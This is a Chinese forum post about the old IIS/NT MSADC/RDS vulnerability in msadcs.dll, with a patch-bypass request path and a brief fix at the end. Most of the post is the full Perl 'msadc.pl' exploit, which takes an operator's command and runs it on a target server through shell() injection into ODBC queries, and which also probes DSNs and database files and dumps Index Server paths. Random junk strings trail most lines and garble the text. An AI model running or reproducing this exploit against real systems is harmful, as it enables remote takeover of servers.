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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Mv=cLG?X  
k9xKaJ %1  
涉及程序: cj<@~[uw  
Microsoft NT server gAY2|/,  
KxwLKaImI  
描述: !gf3%!%  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 UVJ(iNK"  
urB3  
详细: [alXD_  
如果你没有时间读详细内容的话,就删除: ex+AT;o  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 5Z,lWp2A  
有关的安全问题就没有了。 /,UkT*+>!  
~`E4E  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 B^?XE(.  
#+PbcL  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 o {LFXNcg[  
关于利用ODBC远程漏洞的描述,请参看: EvmmQ  
1W[(+TZ&s  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !?*!"S-Sl  
Y%l3SB,5L  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ~Wm}M  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp :a@z53X@M  
$SVGpEw  
这里不再论述。 2oG|l!C  
Ig KAD#2a  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: h,'+w  
2QRn c"  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset |=T<WU1$  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! [9_ (+E[}  
Gnt!!1_8L  
+:%FJCOT  
#将下面这段保存为txt文件,然后: "perl -x 文件名" K>6k@okO  
- (}1o9e\7  
#!perl tlgvBRH>  
# Y`?X Fy:  
# MSADC/RDS 'usage' (aka exploit) script [Mc5N  
# # :w2Hf6Q  
# by rain.forest.puppy J6ShIPc  
# F:S>\wG,  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me mm-UQ\h  
# beta test and find errors! ]/Qy1,  
MwqT`;lb  
use Socket; use Getopt::Std; veg!mY2&  
getopts("e:vd:h:XR", \%args); /$,=>  
D#1~]d  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 1T,PC?vr{  
_l=  
if (!defined $args{h} && !defined $args{R}) { UiZp -Y%ki  
print qq~ C}'="g^=sl  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Ef!p:HBJ  
-h <host> = host you want to scan (ip or domain) gdE`UZ\  
-d <seconds> = delay between calls, default 1 second >1G*ya)  
-X = dump Index Server path table, if available p30&JJ!~"  
-v = verbose 8G] m7Z  
-e = external dictionary file for step 5 GTe:k  
eI rmD  
Or a -R will resume a command session zN)\2  
cCGXB|9fYR  
~; exit;} WcO,4:  
_j\=FJz[  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ;;hyjFGq%  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ]NV ]@*`tO  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} zf>^2t*\  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); "ak9LZQ9z  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 5qkuK F  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } fR%1FXpK&  
&MZy;Sq  
if (!defined $args{R}){ $ret = &has_msadc; uo'31V0  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} S5u#g`I]  
/NX7Vev  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" `{lAhZ5  
. "cmd /c "; Guw|00w,Q$  
$in=<STDIN>; chomp $in; OrEuQ-,i@  
$command="cmd /c " . $in ; k5;Vl0Ho  
q,+kPhHEgy  
if (defined $args{R}) {&load; exit;} t`YZ)>Ws  
aC~n:0 v  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; F*JvpI[7n  
&try_btcustmr; (2bZ]  
x>,F*3d3  
print "\nStep 2: Trying to make our own DSN..."; ]'!xc9KGR  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ~gWd63%8x  
S50x0$%<W  
print "\nStep 3: Trying known DSNs..."; I cR;A\z  
&known_dsn; =l2Dm  
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print "\nStep 4: Trying known .mdbs..."; 0O,T=z[+>  
&known_mdb; s7nX\:Bw:  
9me}&Fdr  
if (defined $args{e}){ Oqpl2Y"/  
print "\nStep 5: Trying dictionary of DSN names..."; -jtC>_/  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } u@_!mjXQ  
t_>bTcsU  
print "Sorry Charley...maybe next time?\n"; o;4e)tK  
exit; ~@uY?jr  
k3>ur>aW  
############################################################################## $W {yK+N  
,mjfZ*N  
sub sendraw { # ripped and modded from whisker AOlt,MNpQ  
sleep($delay); # it's a DoS on the server! At least on mine... Z\=04[  
my ($pstr)=@_; j H.Ju|nO  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || hQ}7Z&O  
die("Socket problems\n"); c\)&yGE  
if(connect(S,pack "SnA4x8",2,80,$target)){ Xvj=*wg\Y  
select(S); $|=1; f UF;SqT  
print $pstr; my @in=<S>; ?(/j<,m^  
select(STDOUT); close(S); mDF"&.(j  
return @in; $rpTs?j*K$  
} else { die("Can't connect...\n"); }} ]a6O(]  
Ly)(_Tp@+  
############################################################################## SQt|(r)  
wL-ydMIx  
sub make_header { # make the HTTP request _m7U-;G  
my $msadc=<<EOT od}EM_  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 vf'cx:m  
User-Agent: ACTIVEDATA `!omzE*bk5  
Host: $ip {nQ)4.e6  
Content-Length: $clen S}w.#tyEn  
Connection: Keep-Alive 0i*'N ch#i  
w~$c= JO#  
ADCClientVersion:01.06 ewAH'H]o  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ~S^X"8(U  
HLSfoQ&)v  
--!ADM!ROX!YOUR!WORLD! juCG?}di;  
Content-Type: application/x-varg Dpdn%8+Z  
Content-Length: $reqlen <cDKGd  
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EOT fEj9R@u+h  
; $msadc=~s/\n/\r\n/g; g>!:U6K  
return $msadc;} v dH+>l  
jKj=#O  
############################################################################## S0N2rU  
(lN;xT`=  
sub make_req { # make the RDS request oF;%^XFp  
my ($switch, $p1, $p2)=@_; HCJ8@nki  
my $req=""; my $t1, $t2, $query, $dsn; dgco*TIGO  
v;fJM5PA  
if ($switch==1){ # this is the btcustmr.mdb query V/3 {^Fcr  
$query="Select * from Customers where City=" . make_shell(); ~[zFQ)([  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . .lvI8Jf~X  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} b$v[@"1  
rmPne8D=c(  
elsif ($switch==2){ # this is general make table query lk[G;=K:.  
$query="create table AZZ (B int, C varchar(10))"; /i{tS`[F2a  
$dsn="$p1";} ~IlF*Zz#}6  
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elsif ($switch==3){ # this is general exploit table query >,>;)B@J  
$query="select * from AZZ where C=" . make_shell(); a IpPL8a  
$dsn="$p1";} KbwTj*k[  
m%oGzx+  
elsif ($switch==4){ # attempt to hork file info from index server 2#AeN6\@  
$query="select path from scope()"; 7`b lGzP_  
$dsn="Provider=MSIDXS;";} kRN|TDx(  
: F7k{~  
elsif ($switch==5){ # bad query b8N[."~:  
$query="select"; ).NcLJw_  
$dsn="$p1";} Vl{~@G,@  
aJ :A%+1  
$t1= make_unicode($query); 7_Ba3+9jpa  
$t2= make_unicode($dsn); 1 [Sv  
$req = "\x02\x00\x03\x00"; YVB% kKv{  
$req.= "\x08\x00" . pack ("S1", length($t1)); (px*R~}  
$req.= "\x00\x00" . $t1 ; ]{IR&{EI-  
$req.= "\x08\x00" . pack ("S1", length($t2)); lx{.H,1~  
$req.= "\x00\x00" . $t2 ; &GdL 9!hH  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; =5y`(0 I`U  
return $req;} B*?ZE4`  
9W1;Kb|Z<  
############################################################################## G;(onJz  
y$IaXr5L  
sub make_shell { # this makes the shell() statement /[a|DUoHO  
return "'|shell(\"$command\")|'";} n}< ir!ZTO  
y#S1c)vU  
############################################################################## @72x`&|I?u  
6IEUJ-M Z  
sub make_unicode { # quick little function to convert to unicode ycgfZ 3K  
my ($in)=@_; my $out; ug^om{e-  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } `OKo=e~,  
return $out;} mi7sBA9L8  
l^k+E-w\  
############################################################################## wVgi+P  
/ <JY:1|  
sub rdo_success { # checks for RDO return success (this is kludge) 5oz>1  
my (@in) = @_; my $base=content_start(@in); |}_gA  
if($in[$base]=~/multipart\/mixed/){ H1` rM^,%A  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} {UB%(E[Mr  
return 0;} HUj+-  
[O^}rUqq  
############################################################################## N0=-7wMk(Z  
CE~r4  
sub make_dsn { # this makes a DSN for us [O=W>l  
my @drives=("c","d","e","f"); "A%MVym."  
print "\nMaking DSN: "; ;"1/#CY773  
foreach $drive (@drives) { &&X$d!V  
print "$drive: ";  bt;lq!g  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 9[z'/ U.Bn  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" /@&(P#h  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); r2RBrZ@1  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; n}19?K]g  
return 0 if $2 eq "404"; # not found/doesn't exist I+0c8T(:  
if($2 eq "200") { mT96 ]V \  
foreach $line (@results) { eh$G.-2N  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} B ,V( LTE  
} return 0;} +.w[6  
@. "q  
############################################################################## c#=&!FRe  
X(IyvfC  
sub verify_exists { D899gGe  
my ($page)=@_; 43KaL(  
my @results=sendraw("GET $page HTTP/1.0\n\n"); +Dv7:x7  
return $results[0];} e\`wlaP,  
z~F37]W3[  
############################################################################## p` $fTgm  
Jf2e<?`  
sub try_btcustmr { mv{<'  
my @drives=("c","d","e","f"); &a.']!$^"  
my @dirs=("winnt","winnt35","winnt351","win","windows"); M9gOoYf,~  
y)P&]&"?  
foreach $dir (@dirs) { nt7|f,_J  
print "$dir -> "; # fun status so you can see progress ;:P7}v fz!  
foreach $drive (@drives) { d>Un J)V}  
print "$drive: "; # ditto R0{Qy*YQ`  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; V]Sgx00;  
$reqlenlen=length( "$reqlen" ); ze&#i6S  
$clen= 206 + $reqlenlen + $reqlen; vruD U#  
5`"iq "5Cf  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Qe_+r(3)k  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} R6 ;jY/*#  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} \fTTkpM  
"c6<zP  
############################################################################## bV_j`:MD  
i&JpM] N  
sub odbc_error { C?/r;  
my (@in)=@_; my $base; J2m"1gq,  
my $base = content_start(@in); <P- $RX  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this DacN {r"3  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >E, Q  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; yX`#s]M  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 1DUb [W8  
return $in[$base+4].$in[$base+5].$in[$base+6];} q]K'p,'  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; "rsSW 3_  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . n!ZMTcK8  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} #00D?nC  
^ESUMXb  
############################################################################## K!p,x;YX  
R }1W  
sub verbose { 0*/kGvw`i  
my ($in)=@_; +,z) #  
return if !$verbose; Y17hOKc`  
print STDOUT "\n$in\n";} [,rn3CA  
B_hPcmB  
############################################################################## mg`j[<wp  
tU{\ev$x  
sub save { 8fh4%#,C%  
my ($p1, $p2, $p3, $p4)=@_; B[CA 5Ry  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 44~hw:   
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; zZ: xEc  
close OUT;} U9 bWU'  
33 : @*  
############################################################################## ypl G18  
p-xd k|'[  
sub load { D^|9/qm$  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; K3L"^a  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); yPoSJzC=[  
@p=<IN>; close(IN); gGEIK0\{  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 4@h;5   
$target= inet_aton($ip) || die("inet_aton problems"); Kk=LXmL2  
print "Resuming to $ip ..."; Yk'm?p#~  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; J#''q"rZ  
if($p[1]==1) { n}JPYu  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; _lX8K:C(  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ALXTR%f  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); zW5C1:.3K  
if (rdo_success(@results)){print "Success!\n";} b1xpz1  
else { print "failed\n"; verbose(odbc_error(@results));}} &))\2pl  
elsif ($p[1]==3){ |NJ}F@t/5  
if(run_query("$p[3]")){ vQgq]mA?  
print "Success!\n";} else { print "failed\n"; }} w^Ag]HZN  
elsif ($p[1]==4){ 6Hk="$6K  
if(run_query($drvst . "$p[3]")){ ~>g+2]Bn>$  
print "Success!\n"; } else { print "failed\n"; }} \x(^]/@  
exit;} f}iU& 3S  
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############################################################################## hO3 {  
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sub create_table { R&*@@F-dx  
my ($in)=@_; LTXz$Z]  
$reqlen=length( make_req(2,$in,"") ) - 28; dxCPV6 XI  
$reqlenlen=length( "$reqlen" ); 45<y{8  
$clen= 206 + $reqlenlen + $reqlen; DkdL#sV  
my @results=sendraw(make_header() . make_req(2,$in,"")); Ys3uPs  
return 1 if rdo_success(@results); 35_)3 R)  
my $temp= odbc_error(@results); verbose($temp); e>AXXUEf  
return 1 if $temp=~/Table 'AZZ' already exists/; |@wyC0k!  
return 0;} f@d9Hqr+l;  
yQ%"U^.m  
############################################################################## Us=eq "eu  
`eR 7H>I  
sub known_dsn { I3(d<+M  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go !),t"Ae?>  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", oL-2qtv  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", RgZOt[!.  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); %j5ywr:  
 to>  
foreach $dSn (@dsns) { Skxd<gv  
print "."; `N'V#)Pi  
next if (!is_access("DSN=$dSn")); ,[l`zp  
if(create_table("DSN=$dSn")){ p0VUh!  
print "$dSn successful\n"; Jzex]_:1~  
if(run_query("DSN=$dSn")){ w7 *V^B  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .3X Y&6  
print "Something's borked. Use verbose next time\n";}}} print "\n";} A gWPa.'3  
+qy6d7^  
############################################################################## $FX,zC<=  
g`[$Xi R  
sub is_access { R\O.e  
my ($in)=@_; x+7*ADKb  
$reqlen=length( make_req(5,$in,"") ) - 28; cbYK5fj"T  
$reqlenlen=length( "$reqlen" ); (s&&>M]r_  
$clen= 206 + $reqlenlen + $reqlen; Wekqn!h  
my @results=sendraw(make_header() . make_req(5,$in,""));  #^0(  
my $temp= odbc_error(@results); i=#F)AD^5#  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); !OAvD#  
return 0;} h/m6)m.D  
+TSSi em  
############################################################################## WU)Ss`s \  
gKi{Y1  
sub run_query { N'?u1P4G  
my ($in)=@_; bK*~ol  
$reqlen=length( make_req(3,$in,"") ) - 28; H M:r0_  
$reqlenlen=length( "$reqlen" ); T1bd:mC}n  
$clen= 206 + $reqlenlen + $reqlen; VteEDL/w  
my @results=sendraw(make_header() . make_req(3,$in,"")); # {PmNx%M  
return 1 if rdo_success(@results); ^$NJD  
my $temp= odbc_error(@results); verbose($temp); !20X sO  
return 0;} Bp_wnd  
?obm7<  
############################################################################## (MLhaux-  
+@:L|uFU  
sub known_mdb { uM S*(L_  
my @drives=("c","d","e","f","g"); Mu&x_&|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); /.Q4~Hw%}  
my $dir, $drive, $mdb; |5MbAqjzC  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; `^6 ,kI-c  
@dEiVF`4:  
# this is sparse, because I don't know of many /+[63=fl  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 1@qgF  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", +B"0{>n}F  
"\\system32\\certmdb.mdb", ;rR/5d1!  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% d%ME@6K)  
Hj6'pJ4  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ue{xnjw>U  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Tv$sqVe9  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", $[ z y  
"\\cfusion\\cfapps\\security\\realm_.mdb", wT_h!W  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", g0&\l}&%U  
"\\cfusion\\database\\cfexamples.mdb", a9Y5  
"\\cfusion\\database\\cfsnippets.mdb", =.Tv)/ea  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", lFq{O;q7}  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", [TTSA2  
"\\cfusion\\brighttiger\\database\\cleam.mdb", WNy3@+@GZ  
"\\cfusion\\database\\smpolicy.mdb", $B .Qc!m  
"\\cfusion\\database\cypress.mdb", |J>WC}g@n  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", s V  }+eU  
"\\website\\cgi-win\\dbsample.mdb", =RKSag&  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", bF-"tm  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" VaLs`q&3>  
); #these are just E6A /SVp  
foreach $drive (@drives) { ;[ 'a  
foreach $dir (@dirs){ JL^2l$up  
foreach $mdb (@sysmdbs) { ',=g;  
print "."; 5V5w:U>_z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ S Xr%kndS  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 9pD 7 f`  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ #Dy?GB08  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; X#p Wyo~  
} else { print "Something's borked. Use verbose next time\n"; }}}}} TqAPAHg  
BmBz}:xMez  
foreach $drive (@drives) { %X1x4t]  
foreach $mdb (@mdbs) { QP(BZJC  
print "."; (z7+|JE.  
if(create_table($drv . $drive . $dir . $mdb)){ `/IKdO*!S  
print "\n" . $drive . $dir . $mdb . " successful\n"; B[o`k]]  
if(run_query($drv . $drive . $dir . $mdb)){ kOrl\_!z3  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; !0}\&<8/m  
} else { print "Something's borked. Use verbose next time\n"; }}}} WO*9+\[v  
} LKF/u` 0dP  
^J/)6/TMXm  
############################################################################## k$i'v:c|:i  
=o7}]k7  
sub hork_idx { 4P8*k[.  
print "\nAttempting to dump Index Server tables...\n"; Jjm|9|C,  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; K[?Xm"4  
$reqlen=length( make_req(4,"","") ) - 28; EqB)sK/3  
$reqlenlen=length( "$reqlen" ); N{Qxq>6 G  
$clen= 206 + $reqlenlen + $reqlen; ,xsH|xW  
my @results=sendraw2(make_header() . make_req(4,"","")); nE W31 8  
if (rdo_success(@results)){ ;;U :Jtn2  
my $max=@results; my $c; my %d; 9Kv|>#zff  
for($c=19; $c<$max; $c++){ {6Au3gt/  
$results[$c]=~s/\x00//g; rofNZ;nu  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; q_fam,9  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; }JgYCsF/f  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; +[-i%b3q  
$d{"$1$2"}="";} 5Fw - d  
foreach $c (keys %d){ print "$c\n"; } }IaA7f  
} else {print "Index server doesn't seem to be installed.\n"; }} ]uh3R{a/  
#f,y&\Xmf  
############################################################################## \2v"YVWw  
nv/[I,nw  
sub dsn_dict { Gh( A%x)  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); t ?eH'*>  
while(<IN>){ @%ECj)u`O  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; f'Mop= .  
next if (!is_access("DSN=$dSn")); ,_ 2x{0w:>  
if(create_table("DSN=$dSn")){ K\?]$dK5  
print "$dSn successful\n"; DBH#)4do@  
if(run_query("DSN=$dSn")){ &#{dWObh  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { r6.d s^  
print "Something's borked. Use verbose next time\n";}}} ~/#1G.H  
print "\n"; close(IN);} mTDVlw0dh  
&, a3@i  
############################################################################## Fke//- R  
o>]`ac0b}Y  
sub sendraw2 { # ripped and modded from whisker C(?blv-vM0  
sleep($delay); # it's a DoS on the server! At least on mine... V-yUJ#f8[  
my ($pstr)=@_; tT%/r,  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || hGTV;eU  
die("Socket problems\n"); *C|  
if(connect(S,pack "SnA4x8",2,80,$target)){ PL=^}{r  
print "Connected. Getting data"; Lxl_"k G  
open(OUT,">raw.out"); my @in; 0Q9T3X  
select(S); $|=1; print $pstr; )xU-;z0"~  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 6;b9swmh  
close(OUT); select(STDOUT); close(S); return @in; fxQN+6;  
} else { die("Can't connect...\n"); }} A<MtKb  
`)$_YZq|SR  
############################################################################## VR? ^HA9  
19e8  
sub content_start { # this will take in the server headers #s5N[uK^m  
my (@in)=@_; my $c; rRFAD{5)  
for ($c=1;$c<500;$c++) { oYM3Rgxf9Q  
if($in[$c] =~/^\x0d\x0a/){ hVpCB,  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } TD@v9  
else { return $c+1; }}} :$3oFN*g  
return -1;} # it should never get here actually 1 OaXo!  
W8WXY_yJt  
############################################################################## kAYb!h[`  
e /K#>,  
sub funky { GIwh@4;  
my (@in)=@_; my $error=odbc_error(@in); 8(U{2B8>\%  
if($error=~/ADO could not find the specified provider/){ ;3'NMk  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; MjL)IgT  
exit;} <'U]`L p  
if($error=~/A Handler is required/){ Qx3eLfm  
print "\nServer has custom handler filters (they most likely are patched)\n"; \%jVg\4 '  
exit;} , \)a_@@k  
if($error=~/specified Handler has denied Access/){ E2wz(,@  
print "\nServer has custom handler filters (they most likely are patched)\n"; "y?\Dx   
exit;}} ._Zt=jB  
mu]as: ~  
############################################################################## f:JlZ&  
p<Z3tD;Z  
sub has_msadc { )u:Q) %$t  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); #o`Ny4sq/  
my $base=content_start(@results); (]2H7X:b  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); PXKJ^fa  
return 0;} <cN~jv-w$  
m:QG}{<.h  
######################## B^ 7eoW  
r),PtI0X  
7*+]wEs  
解决方案: >p\e 0n  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll )(M7lq.e7  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 1%[_`J;>Z  
uYI@ 9U  
拿出来充数 哈哈
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